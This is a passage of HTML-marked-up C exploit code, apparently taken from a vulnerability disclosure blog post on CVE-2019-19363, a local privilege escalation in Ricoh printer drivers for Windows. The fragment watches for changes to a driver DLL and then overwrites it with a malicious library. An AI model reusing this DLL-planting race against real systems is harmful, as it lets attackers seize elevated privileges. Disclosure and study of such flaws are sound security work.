&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-65"&gt;&lt;code data-line-number=" 65"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-65" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-65"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ Event for %s [%d]&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;change_counter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-66"&gt;&lt;code data-line-number=" 66"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-66" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-66"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-67"&gt;&lt;code data-line-number=" 67"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-67" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-67"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_ACTION_MODIFIED&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-68"&gt;&lt;code data-line-number=" 68"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-68" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-68"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-69"&gt;&lt;code data-line-number=" 69"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-69" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-69"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;wcscmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetDLLRelFilePath&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-70"&gt;&lt;code data-line-number=" 70"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-70" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-70"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-71"&gt;&lt;code data-line-number=" 71"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-71" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-71"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;change_counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-72"&gt;&lt;code data-line-number=" 72"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-72" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-72"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                        &lt;/span&gt;&lt;span class="n"&gt;change_counter&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-73"&gt;&lt;code data-line-number=" 73"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-73" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-73"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;change_counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-74"&gt;&lt;code data-line-number=" 74"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-74" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-74"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                        &lt;/span&gt;&lt;span class="n"&gt;change_counter&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-75"&gt;&lt;code data-line-number=" 75"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-75" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-75"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-76"&gt;&lt;code data-line-number=" 76"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-76" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-76"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CopyFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MaliciousLibraryFile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetDllFullFilePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-77"&gt;&lt;code data-line-number=" 77"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-77" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-77"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                                &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ File %s copied to %s.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MaliciousLibraryFile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetDllFullFilePath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-78"&gt;&lt;code data-line-number=" 78"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-78" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-78"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-79"&gt;&lt;code data-line-number=" 79"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-79" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-79"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-80"&gt;&lt;code data-line-number=" 80"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-80" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-80"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                                &lt;/span&gt;&lt;span class="kt"&gt;wchar_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-81"&gt;&lt;code data-line-number=" 81"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-81" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-81"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-82"&gt;&lt;code data-line-number=" 82"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-82" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-82"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                                &lt;/span&gt;&lt;span class="n"&gt;FormatMessageW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FORMAT_MESSAGE_FROM_SYSTEM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FORMAT_MESSAGE_IGNORE_INSERTS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-83"&gt;&lt;code data-line-number=" 83"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-83" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-83"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                                        &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetLastError&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MAKELANGID&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LANG_NEUTRAL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SUBLANG_DEFAULT&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-84"&gt;&lt;code data-line-number=" 84"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-84" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-84"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                                        &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;wchar_t&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-85"&gt;&lt;code data-line-number=" 85"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-85" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-85"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-86"&gt;&lt;code data-line-number=" 86"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-86" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-86"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                                &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ Failed to copy file %s to %s: %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MaliciousLibraryFile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetDllFullFilePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-87"&gt;&lt;code data-line-number=" 87"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-87" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-87"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-88"&gt;&lt;code data-line-number=" 88"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-88" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-88"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-89"&gt;&lt;code data-line-number=" 89"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-89" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-89"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                        &lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-90"&gt;&lt;code data-line-number=" 90"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-90" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-90"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// end of trigger part&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-91"&gt;&lt;code data-line-number=" 91"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-91" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-91"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-92"&gt;&lt;code data-line-number=" 92"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-92" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-92"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// eo action mod&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-93"&gt;&lt;code data-line-number=" 93"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-93" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-93"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="n"&gt;fni&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PFILE_NOTIFY_INFORMATION&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="n"&gt;LPBYTE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;fni&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cbOffset&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-94"&gt;&lt;code data-line-number=" 94"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-94" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-94"&gt;&lt;/a&gt;
